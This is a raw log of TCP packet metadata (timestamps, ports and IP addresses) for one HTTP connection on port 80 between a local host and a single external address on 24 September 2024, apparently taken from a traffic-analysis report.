Sep 24, 2024 21:30:05.675277948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.675291061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.675318003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676050901 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676084995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676091909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676120043 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676136017 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676155090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676160097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676189899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676193953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676223993 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.676259995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676259995 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.676990986 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.677027941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.677035093 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.677062988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.677064896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.677098989 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.677102089 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.677135944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.724420071 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.724494934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.724497080 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.724529982 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.724539042 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.724572897 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.724776983 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.724828005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.724898100 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.724947929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725042105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725075006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725086927 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725111008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725115061 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725147963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725524902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725558996 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725570917 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725593090 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725596905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725627899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725631952 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725666046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.725667953 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.725703955 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726135969 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726169109 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726186037 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726202011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726208925 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726236105 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726241112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726273060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726284981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726313114 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726325035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726358891 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.726362944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.726398945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.727061033 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.727094889 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.727109909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.727127075 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.727128983 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.727168083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.742497921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.742559910 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.742619038 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.742655039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.742670059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.742696047 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.742892981 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.742929935 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.742942095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.742966890 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743182898 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743218899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743231058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743256092 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743477106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743510962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743525982 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743546963 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743547916 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743582010 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743587971 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743618965 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.743623018 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.743657112 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744153023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744194984 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744214058 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744229078 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744230032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744262934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744271040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744301081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744306087 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744338036 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744796991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744831085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744843960 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744864941 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744868994 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744899988 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744903088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744937897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.744941950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.744978905 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.745505095 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.745538950 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.745553970 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.745573997 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.745574951 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.745604992 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.745614052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.745651007 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.837798119 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.837831974 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:05.842976093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.843087912 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.843122005 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.843152046 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:05.843203068 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:06.175442934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:06.175570011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:06.981755972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:06.981806040 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:06.987061024 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:06.987179995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:06.987210035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:07.318706036 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:07.318944931 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:07.371265888 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:07.376131058 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:07.597182035 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:07.597270012 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:08.427701950 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:08.432616949 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:08.641191959 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:08.641365051 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:08.854897976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:08.860090971 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066301107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066353083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066380978 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066395998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066418886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066433907 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066443920 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066468954 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066481113 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066507101 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066514969 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066551924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066653967 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066688061 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066708088 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066724062 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.066755056 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.066773891 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.067023039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.067073107 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.067079067 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.067109108 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.067122936 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.067163944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.067459106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.067492962 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.067511082 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.067537069 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.182898998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.182977915 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183006048 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183013916 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183069944 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183079004 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183157921 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183223963 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183253050 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183307886 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183473110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183506012 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183526039 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183541059 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183573008 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183605909 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183847904 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183881998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.183897972 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.183932066 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184070110 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184103966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184120893 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184138060 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184149027 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184190035 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184483051 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184515953 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184535980 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184551001 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184554100 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184587955 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184602976 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184623957 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184634924 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184663057 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.184664011 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.184716940 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185250044 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185285091 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185332060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185332060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185549021 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185583115 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185620070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185623884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185630083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185661077 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.185741901 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.185777903 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300487995 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300553083 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300721884 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300760031 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300776005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300803900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300837994 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300872087 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300884962 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300913095 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.300930023 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.300976038 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301292896 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301326990 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301342964 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301361084 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301366091 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301395893 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301412106 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301429987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301444054 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301464081 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.301474094 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.301508904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302186966 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302220106 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302242041 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302253008 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302275896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302287102 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302293062 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302323103 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302334070 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302356958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.302361965 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.302396059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303160906 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303195000 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303210020 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303226948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303241968 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303261042 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303262949 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303294897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303303003 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303328991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303333998 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303363085 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.303379059 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.303407907 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304141998 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304176092 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304188013 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304209948 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304222107 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304244041 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304253101 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304276943 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304282904 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304311037 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304315090 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304343939 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.304356098 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.304385900 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305121899 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305155039 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305171967 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305195093 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305198908 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305229902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305249929 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305260897 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305267096 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305294991 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305303097 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305327892 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.305331945 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.305375099 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306065083 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306098938 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306113005 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306133032 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306143999 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306165934 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306168079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306200027 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306212902 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306236029 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.306243896 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.306272984 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.574611902 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574660063 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574698925 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574722052 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.574763060 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.574866056 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574898958 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574918032 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.574934006 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574953079 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.574970007 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.574985981 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575015068 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575022936 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.575078011 CEST	49730	80	192.168.2.4	193.233.113.184
Sep 24, 2024 21:30:09.575551987 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.575584888 CEST	80	49730	193.233.113.184	192.168.2.4
Sep 24, 2024 21:30:09.575618029 CEST	80	49730	193.233.113.184	192.168.2.4
